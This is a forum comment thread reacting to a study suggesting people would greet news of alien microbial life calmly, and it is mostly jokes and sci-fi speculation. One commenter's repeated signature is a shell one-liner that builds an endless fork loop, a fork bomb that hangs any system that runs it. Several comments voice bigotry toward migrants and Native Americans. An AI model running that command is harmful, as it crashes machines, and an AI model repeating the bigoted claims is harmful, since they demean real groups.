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Would You Fear Alien Life or Welcome It? (cnet.com)
If you've ever watched a science fiction movie about aliens, you'll know that humans tend to freak out and destroy everything when faced with incontrovertible proof of the existence of alien life. But a new analysis from Arizona State University psychology professor Michael Varnum and his colleagues suggests that humans might actually remain pretty calm and collected when that big news breaks. CNET reports: Varnum makes this conclusion based on an analysis of newspaper articles covering past potential discoveries of extraterrestrial life. Specifically, he and his colleagues looked at articles about the weird dimming of so-called "Tabby's Star," Earth-like planets around the star Trappist-1, and the potential discovery of Martian microbe fossils from 1996. They found language in the stories demonstrated much more positive emotion than fear or other negative emotions. In a second study, the team also surveyed over 500 people, asking them to guess how they and humanity would react to an announcement that alien microbial life had been discovered. In the case of both their own reaction and everyone else's, the participants hypothesized responses that were more positive than negative. The research was published last month in Frontiers in Psychology.
I'm less concerned about the planet being blown up in 24 hours when talking about microbes. Here's to hoping they aren't contagious though
Given the only truly unique resource we have is our media, there is a possibility that the aliens would be here just to pirate everything, fly away and sell it on some space market.
Betterridge says No.
Most enlightened people would think neat at first introduction.
Then after the murderous terraforming starts minds might change!
Would alien life fear us or welcome us, that is the question.
I for one, welcome our new alien overlords!
https://en.wikipedia.org/wiki/...
This novel is about how the Culture deals with an Outside Context Problem (OCP), the kind of problem "most civilizations would encounter just once, and which they tended to encounter rather in the same way a sentence encountered a full stop."
This is a problem that is "outside the context" as it is generally not considered until it occurs, and the capacity to actually conceive of or consider the OCP in the first place may not be possible or very limited (i.e., the majority of the group's population may not have the knowledge or ability to realize that the OCP can arise, or assume it is extremely unlikely). An example of OCP is an event in which a civilization does not consider the possibility that a much more technologically advanced society can exist, and then encounters one. The term is coined by Banks for the purpose of this novel, and described as follows:
The usual example given to illustrate an Outside Context Problem was imagining you were a tribe on a largish, fertile island; you'd tamed the land, invented the wheel or writing or whatever, the neighbors were cooperative or enslaved but at any rate peaceful and you were busy raising temples to yourself with all the excess productive capacity you had, you were in a position of near-absolute power and control which your hallowed ancestors could hardly have dreamed of and the whole situation was just running along nicely like a canoe on wet grass... when suddenly this bristling lump of iron appears sailless and trailing steam in the bay and these guys carrying long funny-looking sticks come ashore and announce you've just been discovered, you're all subjects of the Emperor now, he's keen on presents called tax and these bright-eyed holy men would like a word with your priests.
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
It's ok to be white.
You're not responsible by what your ancestors did and you have no impossible "historical debt" to pay
Just treat everyone with respect, independent of their physical characteristics and everything fix itself eventually.
On if the meeting entails an anal probe.
NO!
--
Adam
Also factor in intelligence. What if we find a planet with life but the most intelligent species are smart as our dogs? What if we found out their meat is delicious. Will we domesticate them for meat? How smart they do have to be for us to treat them as equals? By that measure will advanced aliens even consider us sentient?
I'd try to be welcoming; hopefully there wouldn't be cause for fear - whether from the aliens themselves or from humans making a wrong impression on them
I listen to both RIAA and non-RIAA stuff if I like the music, tangential business/politics nonwithstanding.
Captain Obvious was glad to help.
We suffer more in our imagination than in reality. - Seneca
In every case where an advanced civilization has encountered a much less advanced civilization, it hasn't worked out well for the less advanced civilization. Ask Native Americans if they think that the arrival of Europeans was good for their culture.
So, why should we expect that the arrival of aliens (who one can expect to be much more advanced than us) would be good for us?
The real "Libtards" are the Libertarians!
...welcome people from other countries.
Then I would ask if they could take me back to their world, because this one I am currently on is scary!
First, any aliens will be literally alien to us. We have no way to predict what some alien intelligence might look like. Predators? Aliens? Arisians? Would we taste good to them, or them to us? At present, all we have are our fears and imaginations.
The bleached Tribble on Trump's head kind of freaks me out.
Table-ized A.I.
How much worse could it be with aliens?
Here's a joke:
So, the aliens land on the White House lawn and say, "Take us to your leader".
They are brought to Vladimir Putin.
[I see you there laughing. Even mi and APK cracked a smile. Don't deny it.]
You are welcome on my lawn.
Stories about Alien creatures have been mainstream culture since 1910. We've had over 100 years to get used to the idea, although that may not change our emotions when we actually see one.
If we fear it and kill the first alien visitor, they will turn out to be peaceful and friendly, and our hostile reaction will cause galactic civilizations to shun and ostracize us.
If we welcome it and greet the first alien visitor with open arms, they will turn out to be conquerors who will ruthlessly subjugate the planet, enslaving half the population and eating the other half.
Should the Mayans and Aztecs have feared the Spanish conquistadors, or welcomed them?
Should the Aborigines have welcomed the colonizers from England, or feared them?
Should the American Indians have feared the colonizers from Europe, or welcomed them?
Should the North American beavers have welcomed the colonizers from Europe, or feared them?
When people fantasize about intelligent alien visitors, they usually place their intelligence level and physical characteristics close to our own. I am certain that would not be the case. Most likely they would mash us like potatoes. On the off chance they come in peace, the level of disruption they would cause to our worldwide community and economy would be immense.
the things we call viruses are aliens. just not big and organized.
if the big and organized aliens do arrive here they'll still have to apply for citizenship of the country they want to stay in. of course if they provide a big monetary stake they could probably get in without trouble after the biological tests.
Considering the technology required for FTL travel, if an alien species DID manage to reach the Earth, it will likely be FAR more advanced than us technologically. With this in mind, there's really only 4 possible scenarios: reconnaissance, plunder, destruction, or assistance. So there's a 2/4 chance our race is fucked, a 1/4 chance that we don't notice anything at all, and a 1/4 chance of becoming a thriving interstellar civilization.
Do you fear it or welcome it?
damaged by dogma
Simple Logic:
1. Human are afraid of the unknown. Every horror movie director knows this. It seems to be evolutionally programmed into us. (Perhaps for good reasons)
2. We would know extremely little about the aliens, i.e. being a very big unknown.
1 and 2 => Fear, big time!
Is it possible to concieve a more polarized "we and them" situation? On top of that, they stepping on to our (rather defensless) lawn with equipment that took them across star systems?
How would it be anything but a paralyzing fear and panic if they'd show up?
Sorry but aliens were invented to convince dumb people to give smart scientists money. Let me explain. No life can exist without a sun, which is actually a star. The closest star to us is about 4 light years away. That means it takes light 4 years to travel that distance. Light travels extremely fast, 186,287 miles per second, and according to special relativity we can never go the speed of light because it requires infinite energy. So even if we could go a speed we can never go, it would take 4 years to get to the closest star. From there the distance goes up. Those stars you see in the sky are hundreds and thousands of light years away, which means at the fastest speed man has ever heard of, it would still take hundreds or thousands of years to reach. But imagine for a second there is some being that has the technology to travel that fast, why in the hell would they waste hundreds or thousands of years to visit us? Their technology compared to ours is like comparing humans to ants, there is nothing interesting about us at all compared to them. So aliens either don't exist or can't or won't visit us
my karma will be here long after I'm gone
Another possibility is that once we viruses sent in messages we receive by SETI.
If the message tells you how to do something, the odds are that thing will be to send messages as efficiently as possible because messages like that would be more common than ones that helpfully sent the Encyclopedia Galactica.
If I was writing Contact the machine the aliens sent the blueprint for would replicate to form a bunch of copies, disassembling the Earth/planets for materials in the process, and then surround the sun as a Dyson swarm and use all its energy output to send very powerful copies of the message to distant stars forever.
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
It will be all computers anyway. It's just a matter of time here and probably everywhere else too, and the computers won't care about the meat creatures.
"Another possibility is that once we viruses sent in messages we receive by SETI"
?? That's a somewhat awkwardly crafted sentence. What are you trying to say?
I think you may be describing the plot of the Species movie franchise
Pain is merely failure leaving the body
"You're not responsible by what your ancestors did and you have no impossible "historical debt" to pay"
And it's perfectly OK to profit & prosper from their crimes.
Pain is merely failure leaving the body
Cruising around Maia in the Pleiades the other night minding my own business when my ride was interdicted in hyperspace by Aliens who mysteriously shut down every system except some Christmas string lights strewn across the dash. Christmas decorations appear inexplicably to be completely immune to alien technology.
Sorry that should have been "Another possibility is viruses in messages we receive by SETI"
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
All undocumented migrants that arrive on our planet are unwelcome by definition. We should assume they are rapists and drug pushers, and deport them immediately.
...rejoice!
Why? Well, most have been mention in this thread, I'm going to summarize those I agree with:
Fear factors:
- Viruses and Bacteria unknown to us.
- Increased demand for our resources (which btw, we're running out of, FAST!).
- Unknown motives, why did they decide to take contact? This is usually either because of two things, curiosity and the need for new resources. The last one should worry us... A LOT!
Good things:
- New technology (they traveled this far, we didn't manage the opposite so chances are they're technically superior to us, and we can take part of this technology).
- Combined technology, ours and theirs - are more likely to increase life quality for both species.
- Introduction of new (possibly stronger) genes into our species.
- Health technology, food growth technology, there could be infinite possibilities here, we don't know - yet!
- A lot of bad things we dealt with on our planet, often "belief" based, can finally be laid to rest, maybe this will cause less stress and agony on our own species, we don't know the effects of this yet, but I'm one of those who think we could totally do without all religions.
As far as I see it, the possibilities of the good outweighs the bad. I'm curious - I welcome the aliens, as long as their intentions are peaceful, for both species.
What this world is coming to - is for you and me to decide.
There is no rational way of not fearing alien life, what there must be is rational acceptance as to not create a problem out of the situation.
Their speed isn't so much what's interesting, their appetite might be.
With it would come huge disruption. Forget SF tropes about FTL drives and so forth. The most likely reason somebody would cross that huge divide, would be on generation ship and to colonize. Nuff said.
C. Sagan : A demon haunted world:
http://www.amazon.com/gp/product/0345409469/
visit randi.org
One possible scenario.
History teaches us exactly what will happen. They will come to rob us of our riches and resources. They will enslave us. After the long time they will be horny and bloodthirsty. We must fear and fight.
#EnoughSaid
Maybe they're not hostile; maybe they're like the Enterprise crew and genuinely want to seek out new life and new civilizations (aliens: prepare to be disappointed!)
Maybe they're no better than our own governments, intent on divesting us of our resources, our rights and our freedoms. In which case we should fight them to the last, and perhaps after all is said and done, if we somehow survive, remember them with a very slight amount of appreciation for most likely having slaughtered our former overlords while taking up their place.
Maybe it'll turn out they're just hungry: If they're here to eat us, fear's a fairly reasonable thing to be feeling.
I suspect most of the people being asked about microbial life had no idea what was being asked. There's also a good chance 50% believe there is a massive government cover-up involving gray aliens.
Are the space alien women hot? That's surely an important criterion for determining whether to welcome them or not?
On several things.
First and foremost, did we encounter alien life HERE, or did we encounter it wherever it evolved.
In the latter case, I'd welcome it. In the former, not so much.
"I do not agree with what you say, but I will defend to the death your right to say it"
People already freak out about aliens from Mexico. If the aliens came from a spaceship, people would get out their guns and try and shoot them.
Green alien women!!! Oh the forbidden pleasure! I welcome them.
until you have sex with it.
If they are then we're fucked if we get visited.
The more alien they are, the higher our chances for survival.
We used to have a Bill of Rights. Now, with the rights gone, all we have left is the bill.
Do you have any idea the irony in your post. It's mind boggling...
(unless that's some next level trolling, in which case - nicely done!)
I would treat it like any other odd crap that comes my way. I'd rough it up, maybe break a teeth or two, shit on it and send it back where it came from.
Your father and/or your grandfather (depending on your age) had sex with your mother/grandmother in a society which almost by definition gave him a position of power to demand she obey him in such matters. Modern views would consider that non-consensual, and by definition rape.
As you are the outcome of that crime (extend back further in history if you want to make it stronger) you are by definition profiting and prospering from what we now consider crimes.
Or, alternatively, you could consider that perhaps, even though we may not currently agree with actions taken historically, as we had no influence over them, and as they were not crimes at the time, we do not in fact have a responsibility because of them.
See how it works?
Zefram Cochrane, please make your flight, and then tell the Vulcans "That'll do, pig."
It will be like a prion disease such as (https://www.cdc.gov/prions/index.html), but utilized in a way that's similar to CRISPR gene editing (https://www.technologyreview.com/s/609722/crispr-in-2018-coming-to-a-human-near-you/) except it'll rain from the sky during a meteor shower from the debris of an asteroid with a hyperbolic trajectory (https://www.space.com/38580-interstellar-object-spotted-comet-asteroid-mystery.html) or the worse case scenario is that it directly hits Earth and wipes us all out except for the prions to start this mess all over again. Even we earthlings can land probes on comets (http://www.esa.int/Our_Activities/Space_Science/Rosetta). Think of it as the alien equivalent of our golden records on Voyager 1 and 2 (https://voyager.jpl.nasa.gov/golden-record/) but with genetic information that says "this is what we are" by species mutation. However, the odds of us being genetically similar enough to be susceptible to their prion is hopefully unlikely. I've often wondered if Mad Cow and similar diseases are just an alien Voyager failure. We may have come close; notice how the cow is number 9 on this list (https://www.thedodo.com/animals-you-had-no-idea-were-so-closely-related-to-humans-1172946617.html). But for now, we can just monitor the fruit flies (https://science.nasa.gov/science-news/science-at-nasa/2004/03feb_fruitfly) as an inadvertent, invasion "litmus paper." A prion "disease" has a better chance of surviving a long space journey than even the robotic invasion theory does. Besides, we humans are a base-10 species (https://www.thoughtco.com/definition-of-base-10-2312365), so they'll have have to be close enough and long enough to learn our mathematics (1-10, symbols, and axioms) to hack our systems anyway. And if AI develops further, it'll act as a temporary firewall and hopefully log enough to know flag an alert. At any rate, if it is robotic, and they figure and Google or Facebook, they'll know to attack Windows first followed by about 2.2 billion people on their shit-list. But, my money is on "random chance prion" because I doubt they use anything close to our file formats. The only reason we can "crack" any of them is because we know what patterns to look for, most of which would be uniquely human. The risk of long journey mechanical failure is too high anyway; it would be better and cheaper to drop genetic material on passing asteroids and let random chance do the work.
What was the title again? To Serve Man ... andit is not a cookbook. YT link:https://www.youtube.com/watch?v=oViVFm4wA1g
We need to be happy living on our little rock, tucked away in some remote location of our unremarkable galaxy, trying to solve all the myriad of problems we have created for ourselves, including but not limited to pollution, overpopulation, toxic religion, toxic politicians, psychopaths, romance novel writers, marriage, Facebook, Twitter, The Clintons, D. Trump, and rap "music". Perhaps if we broadcast non-stop rap "music", endless showings of "Judge Judy", ...
and Nascar races, aliens will convince themselves there's no intelligence on the planet, hence no reason to investigate us. Unless they need us for food
If faster than light is real, then we should be cautious.
It is not. So don't worry. Go back to your pitch fork.
Do you mean computer viruses?
Even then I find it hard to believe a possibility. Knowing how to hack our computers never having worked with one... That's would be like asking a modern day hacker to hack the enigma machine without seeing it, knowing its specs, knowing how it works, and be able to do it remotely without the recipient knowing.
What a STUPID research !! You are so fucking WRONG !! People have always been ignorant of alien news because they have always been fake stories. So that people stop paying attention over time. But if and when we notice another spaceship in the universe that is not NASA, we WILL freak out !!! If ever they come to earth we will freak out !! We will freak out because we will not know what they know. We will freak out because the earth nations are so disunited. While some nations would want to establish friendly contact with aliens, others are about to shoot rockets at them. Yes, we WILL FREAK Out, trust me !!!!
Yes. Yes, it is absolutely perfectly ok to profit from the alleged 'crimes' of our ancestors. The 'crime' of coming from a technologically superior society and using that superiority to conquer our neighbors. As it had always been and it always shall be.
I am not at all ashamed to be a member of a superior society.
Are you a member of the inferior society? Get an education. Work harder. Stop fucking whining. Stop smoking weed. Get a job or do something useful for society. Enjoy the fruits of a superior society.
A biological virus is a just instructions that say "copy me" to a cell.
A computer virus is just instructions that say "copy me" to a computer.
You can imagine something similar with message received by SETI. And actual a good message aimed at an extraterrestrial intelligence would need to be very target independent, unlike computer or biological viruses.
E.g. the Arecibo message aims at conveying a fair bit of information to any civilisation which picks it up -
https://en.wikipedia.org/wiki/...
Now if you can explain concepts like "we're carbon based life from the third planet in the system. There are about 4 billion of us and also about 4 billion base pairs in our genome which is stored in DNA" with a couple of k of bits it's not out of the question to teach them how to build something with a few million bits. And from there it's not that hard to explain how to build something to copy the message. So messages to unknown civilisations are already target independent.
Maybe a benign civilisation sent out a non viral message designed to get other civilisations communicating and it mutated into a viral one. Or maybe a paranoid civilisation created a viral message to nuke any competition.
So it's a virus, but it's not a computer virus.
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
They'll either be Vikings who rape, murder, take then leave with slaves
or "Settlers" who rape, murder, take, then stay and enslave, and converted to Scientology or killed.
"I think an "extinguish all other intelligent life" rule is unlikely if for no other reason than they really don't want that rule to be in effect if they encounter a superior civilization.'
Riiiiiiight, because the universe is like a giant playground where all species have to play by the same rules. Because ya know like if they're nice to us and aren't playground bullies then the kids in the next grade up aren't allowed to bully them either because teacher said so!
Where do people get these whacky ideas? My 9 year old understands life better than you do. She's not special. She's not an ubergenius. She's a little girl who simply understands life and understands playground rules better than you do: bigger kids beat up littler kids.
I'd love Aliens. Honestly. Stuffed. One on either side of the fireplace.
Do they go well with sauce? (I prefer BBQ)
on whether they have tentacles or not.
Flipping the question around, what if we are the first sentient species in the universe? What if the next one isn't likely to come around for billions or even trillions of years? If it were possible, somehow, for us to know this, what would that mean,,or what should that mean for us, as a species?
File under 'M' for 'Manic ranting'
Travel between stars is very hard, but not impossible. .1c speeds when combined with laser thrusters.
If you run the numbers, solar sails should be able to get to
https://www.space.com/9051-sol...
These technologies change the problem from 2,000 yrs to 120 yrs.
Still not easy, but not impossible.
I've seen plans for micro-spacecraft going to Promima in 20 yrs, but that isn't very useful to me.
You are right - It depends on how bent they've made reality. Aliens are famous for their Sadomasochistic, 50 shades of sexual experiments, but the #MeToo Movement has made dating so complicated these days.
Arizona State Psychology Professor conducted a study and determined that "people" are more likely to welcome Aliens than shoot at them. Some facts:
1. The students that participated in his study, nor the commentary from past articles are representative of "people" as a whole.
2. Younger people have less fear of death than older people.
3. *NO ONE* that he conducted a study on is remotely representative of the governments of the world that have the resources and authority to initiate a meeting with Aliens if we made contact.
Now if he were to have conducted a study on military officials from governments around the world - you know, the guys with the guns - and concluded that those in power were more likely to greet aliens in a friendly manner...that would be interesting.
This is useless.
They wanted sufficient resources to be considered a Great Power.
The 1920s and 1930s were a "Fascist moment" where the concepts of autarky and totalitarian rule seemed to be the only, and superior alternative to Communism. Some Japanese wanted this, some didn't. Try Toland's "The Rising Sun" for some background on the difficulties in Japanese politics of the time.
People conflate unique features of Japanese culture with the essential, very Western political battle going on in Tokyo.
I was going to argue against this, but as I think about it, I think you're right about having to fear it. I don't think that there will be rational acceptance of it. And I think there will be lots of problems.
90% of the natives of the Americas died of disease in the century after first contact with Europeans. And while Europeans got syphilis in return, that pales in comparison to all of the plagues and poxes they brought to the continent.
When Darwin sailed around the world and cataloged all the species, he ate all of them as well.
When colonists show up anywhere, they bring their favorite native flora and fauna with them, even if its microbial. This almost always radically disrupts the ecosystem that is in place.
Imagine if alien life turns out to aggressively feed on plastic? Imagine if we bring fungus to a cellulose based alien world?
If alien life comes to us, we have all of that to fear. And if we come to them, likewise. And if they are advanced, they may want to make earth life harmless to them. And who can guess what that would mean?
But regardless of this, the major religions of the world will need to be updated based on the new knowledge, or they will need to fight tooth and nail to deny and discredit it. And I wouldn't be surprised if some new ones or splinters of old ones suddenly spring into being as people try to make sense of this new view of the universe.
That will cause a lot of social friction, and may well be bloody in parts of the world.
Velociraptor = Distiraptor / Timeraptor
If we find alien life existing around another star 50ly from us (through messaging, or even just chemical signatures), i imagine few people would be overwhelmed by that. on the other hand, if we discover alien life because we wake up one morning to hundreds of 100 mile long spaceships with a full invasion going on, i'm expecting people would probably freak out... at least a little. It's all about context.
The LGM's (little green men) we don't have to worry about, it's the LGM's (large green motherfuckers) we do.
Fascism: An authoritarian and nationalistic right-wing system of government and social organization. See also: NAZI's
I know, this is /. where actually reading the summary, or the secondary source used to goose clicks, or the original article is a faux pas. But responding to what the researcher actually said/did - it is a fairly underwhelming conclusion: "Taken together, this work suggests that our reactions to a future confirmed discovery of microbial extraterrestrial life are likely to be fairly positive." hyped by silly references to B-movies.
I have yet to see any movie, or popular fiction, where the discover of non-Earth originating microbes of the non-brain-eating kind leads to mass panic, nor could I see how such a thing could be plausibly proposed. All of the "panic mode" scenarios involve intelligent alien life who are actually contacting us directly, or an alien plague (which is scary like any deadly plague, but from space).
These two types of scenarios, other than involving in some way "alien life", are unrelated.
A tip off about why the "alien microbe" scenario is not a cause for concern for most people is this other bit in one of the studies reported on: "...responses to reading an actual announcement of the discovery of extraterrestrial microbial life showed a greater positivity bias than responses to reading an actual announcement of the creation of man-made synthetic life..".
Now that makes a whole lot of sense. It we start making synthetic life here on Earth the possibilities of an eventual harmful result are pretty obvious, and should be cause for concern. The simulated science report of the discovery of "extraterrestrial bugs" (if plausibly written) would not threaten any possible harmful consequence. If you had people read a report that we have discovered the "Andromeda Strain" that will kill us all, expect a different response.
Second class citizen of the New Gilded Age
Let's think this through.
If it's just other life - microbial - this might come as a surprise to some, but honestly, the universe is so big, it's bound to happen. What's it mean for us in the long run? Eh, does it really matter? It'll mean that the next step is more likely, but given the odds already ...
Technological life - eg life that has altered its planet's atmosphere enough that we can detect it using standard astrophysics. Well, this is interesting, but unless we can contact them, it doesn't mean much.
Technological life that can communicate with us - This becomes more interesting, for obvious reasons. Is it bound by the rules of physics we know now? Or, like in *Contact*, can the aliens actually communicate instantaneously (in contact, via Einstein-Rosen bridge, wormholes, which are theoretically possible now, but the science is far from settled. I mean, GR still has closed timelike curves possible, and I doubt a unified theory would allow such paradoxes to exist).
If they can communicate with us, it's a question of how long/how fast. Current physics, or will a unified field theory allow something faster, say something *instant*? How does that change the game?
Worst case - their intentions are bad. Or they have good intentions, and don't know how to establish contact without risking a huge fuck up. Game over for Earth, and really, there's nothing we could do about it, could we.
Best case. They know *exactly* what they are doing, their intentions are not only good - minimize harm and suffering, maximize freedom and happiness - but they know *exactly* how to pull it off. What does this look like? What would it truly mean to have the best case for first contact? Contact hints at this - small steps, and the ultimate question is "how? How did you manage to survive?"
Turns out if you run this in your head logically, the answer pops right the fuck out, and I suggest you do that now, then we can compare notes.
Yes
It's equally bad if they haven't. Any species capable of accelerating significant masses to relativistic speeds are species capable of making all our military equipment entirely pointless overnight.
There's no reason to assume they'd be hostile, though. Not that it matters, the cultural exchange will, in short order, make at least us and possibly them unrecognizable in decades.
A lot of bad things we dealt with on our planet, often "belief" based, can finally be laid to rest ...
I don't know. We still have Flat Earthers trying to launch rockets to prove the Earth is flat or at least enough of them to fund a guy to do it.
Well, there's spam egg sausage and spam, that's not got much spam in it.
When did Slashdot start allowing obvious surveys from real aliens to be posted??
Or make sure my one year old sneezed on it.
There's nothing about Native American culture that is worth saving. Nothing.
Stop encouraging Native Americans to wallow in their dysfunctional, obsolete culture(s.) Support terminating the reservation system to force them out of their cycle of self-indulgent poverty and misery. It's long past time.
You can crash on the moon if you want.
You did say "Alien Life", not advanced technology alien visitors.
If they were "advanced technology alien visitors", then given no more information than that they exist, I'd probably be more fearful than welcoming. If you want to know why you could ask the Aztecs. (OTOH, the neighboring tribes that weren't Aztecs *might* have a different opinion.) Or you could ask the native Hawaiians.
Now these analogies aren't exact, but they are legitimate causes for trepidation.
OTOH, they might help us get safely through the construction of super-human AI. That looks to me like a major bottleneck ahead of us, and is likely a part of the "great filter". As is, of course, not developing a super-human AI. Out current governments are in the long term suicidal.
I think we've pushed this "anyone can grow up to be president" thing too far.
...I vould velcome the Vulcans and fear the Klingons and Romulans.
Does ET qualify for a Twitter account? If so, then I fear ET.
Even if the Green Borg is very far away and merely Tweeting over FTL subspace using his handy hive-mind Ansible client, that's clear and persistent danger, sure enough.
Even a fusty Mormon Morkman from Gorkmon space-scroll that's jitterbugged the Feynman shuffle through not-so-empty space for 3000 years bearding the Mesonic Moses' Galactic n Commandments (one for every pudgy finger, floppy tentacle, and buoyant teat, slyly encoded in the serpentine outer margins of a phat, foldable primer) could really stir up the shit here on the bare-back believer blue bulboid.
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Mesonic: of or pertaining to a meson.
That's so gosh darn elementary, it wasn't even in the primer.
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Daydream Believer
The version that's stuck in my head is the Anne Murray version, which I must have heard on the ride into school every second day for three years running, alternating with The Devil Went Down to Georgia which concluded (in the bleary-eyed airplay version of my sheltered youth) with the line:
Either Johnny slacked a bit in late middle-age, or the Devil really hit the bottom of the bottle ("Since they went into Trance, I have been in continual practice. I shall win at the odds."), but it presently seems clear enough that the long-touted rematch didn't go nearly so well for the Deep South, who now worship at the alter of a Quack from Queens. (Talk about selling your soul #BigTime.)
Annually, I asked my Dad why he played that station, and he always told me it was because he liked the news guy. Could even be true. I've never witnessed him seek out a country song since.
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If Kurzweil ever does discover life extension, or ET tips his hand (would you be first in line?) , someday in the distant future I'll set aside some dull morning to rewrite the lyrics of Daydream Believer around the updated-for-social-media phrase "bareback believer".
As for Anne Murray's delivery, I wouldn't change a thing. It fits like a milky glove.
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God damn the bareback believers. We're but one subtly psychopathic signal away from a collective skid, gospel of Mark.
Not intended.
I have no idea how that d got in there.
Moses must have burst his visual category. Word play requires lowering your mind to a very low lateral activation energy, and then this kind of thing happens, but that's a lot weirder than most.
To seek out alien life and fuck it until it stops squirming.
I love how otherwise intelligent people believe in intelligent life on other planets, despite any evidence at all. It is basically a faith/religious belief at this point. Saying they must exist because the universe is so big is about as scientific as saying God exists because it is self-evident.
How can you fear or welcome what doesn't exist.
With this in mind, there's really only 4 possible scenarios: reconnaissance, plunder, destruction, or assistance. So there's a 2/4 chance our race is fucked, a 1/4 chance that we don't notice anything at all, and a 1/4 chance of becoming a thriving interstellar civilization.
If you get behind the wheel of your car, there are really only 6 possible scenarios:
1. You crash into a tree and die.
2. You crash into a car and die.
3. You crash into a truck and die.
4. You crash into a wall and die.
5. You crash into a pedestrian and badly damage your car.
6. You make it home safe.
So there's a 5/6 chance that you're fucked, and only a 1/6 chance of a happy outcome.
A civilization with a technology that allows for FTL travel ( not necessary by exceeding speed of light) wouldnâ(TM)t have a problem with resources since they are plenty everywhere in universe. They wouldnâ(TM)t think Earth as a resource worth that much.
The only thing they would be interested in is our species from sociological point of view. For that so Expect a flood of their historians, folklorists, and scholars coming to every urban and rural areas.
The millenials won't believe this, but there were even paper viruses. "Chain letters" was the usual term.
Confucius say, "Find worm in apple - bad. Find half a worm - worse."
my hope is that the assholes on earth don't shoot them or exploit them once we find them. My fears for for the safety of the aliens.
If it has Sigorney Weaver playing Ripley then I welcome it.
Arguably religions are viruses of the mind. When they infect you they tell you to proselytize, i.e. infect other people.
Of course like biological viruses are not equally lethal, religions are not equally bad for you. In fact some resemble cowpox, and some resemble smallpox.
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
Kill it with fire.
I do not believe in karma. "Funny"=-6. Do good and forbid evil. Yours, Oft-Offtopic Flamebaiting Troll.
Actually the Visitors in V - the original one not the horrid remake - are more or less a 30's expansionist fascist dictatorship IN SPACE
"Once we've got starships we need a first strike on those mammalian bastards from Earth in order to expand the glory of the empire. The Leader demands it!
Also we're going to eat them after we've won, because we're complete and utter bastards"
I loved that shit when I was a kid.
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
Based on currently measured measure of error of flatness of the Universe, the Universe is at-least 250x times larger in radius than the Observable Universe, making the Universe at least 60,000x more volumetric than what we can see. That the minimum. We're guessing the Universe is actually perfectly flat, making it infinitely large. If there was FTL transportation, then a potentially infinite number of aliens civilizations, would have the ability to get to us.
Killing another species is easy for any space faring civilization. The technology required to spread through a solar system is barely less than the technology required to create a death-ray reflector around the host star that could destroy life nearly every line-of-sight star system in the host galaxy in only thousands of years. Why leave home?
Resources should never be a reason for aliens to attack. The simplest setup is a Dyson swam of habitats around the host star, and all of the resources needed are siphoned from the star. Pretty much unlimited energy and resources, and impossible for a natural disaster that could wipe out the society. This is probably the best way to fill the Universe. From star to star, setting up trillions of habitats, each capable of supporting millions of humans for hundreds of thousands of years without refueling or new resources, and a near limitless supply of fuel and resources next door.
This is all possible with current technology("just" an issue of scale... heh), we just need vastly more energy and resources, which will take time and a concerted effort. The current recommend way is to start building a Dyson swarm of energy collectors by strip mining Mercury. It's not only close to the Sun, but it has less mass, making it easier to get the swarm off of the planet. And boy do we mean "strip mine the planet". Literally destroying the planet. After some point, we'll have enough energy from the swarm to generate magnetic fields that could form the plasma atmosphere of the Sun in a way that allows us to extract materials. Once we hit this point, access to energy and resources will explode.
What if they bring their own beliefs. Would you accept/adopt them or would you try to convert them to your own beliefs?
Are they nice aliens or mean aliens?
I think itâ(TM)s a reference to Independence Day.
Only took 50 years but hey!
"Americans can not even deal with brown skin"
No, you, sir, can not even deal with Americans that are unconcerned with skin color.
deleting the extra space after periods so i can stay relevant, yeah.
"And it's perfectly OK to profit & prosper from their crimes."
So, how do we deal with the slavers in Africa, both then and now?
deleting the extra space after periods so i can stay relevant, yeah.
Trust but verify. Be polite, but have a plan to kill every ET you meet.
People conflate unique features of Japanese culture with the essential, very Western political battle going on in Tokyo.
While this is true, the authoritarian rule of Japan was well underway long before even the 20th century, and had won long before the 20's or 30's.
and some sci fi has explored, is what will the *instinctual* reaction to truly alien life be? Could it manifest as a species-wide arachnophobia, or worse?
Or will the aliens have that reaction? Only takes one side to start something nasty.
Or what if all our vaunted back-patting of "how we will communicate" is still so human-centric that we truly cannot communicate with them or find a common ground? Hive minds that do not see individuals as anything more than cells, mental structures that "reason" in completely different ways, etc?
"I am not at all ashamed to be a member of a superior society"
England was the superior society that your ancestors ( presuming you're American) chose to revolt against and co-opted elements of the societies of northeastern Indian tribes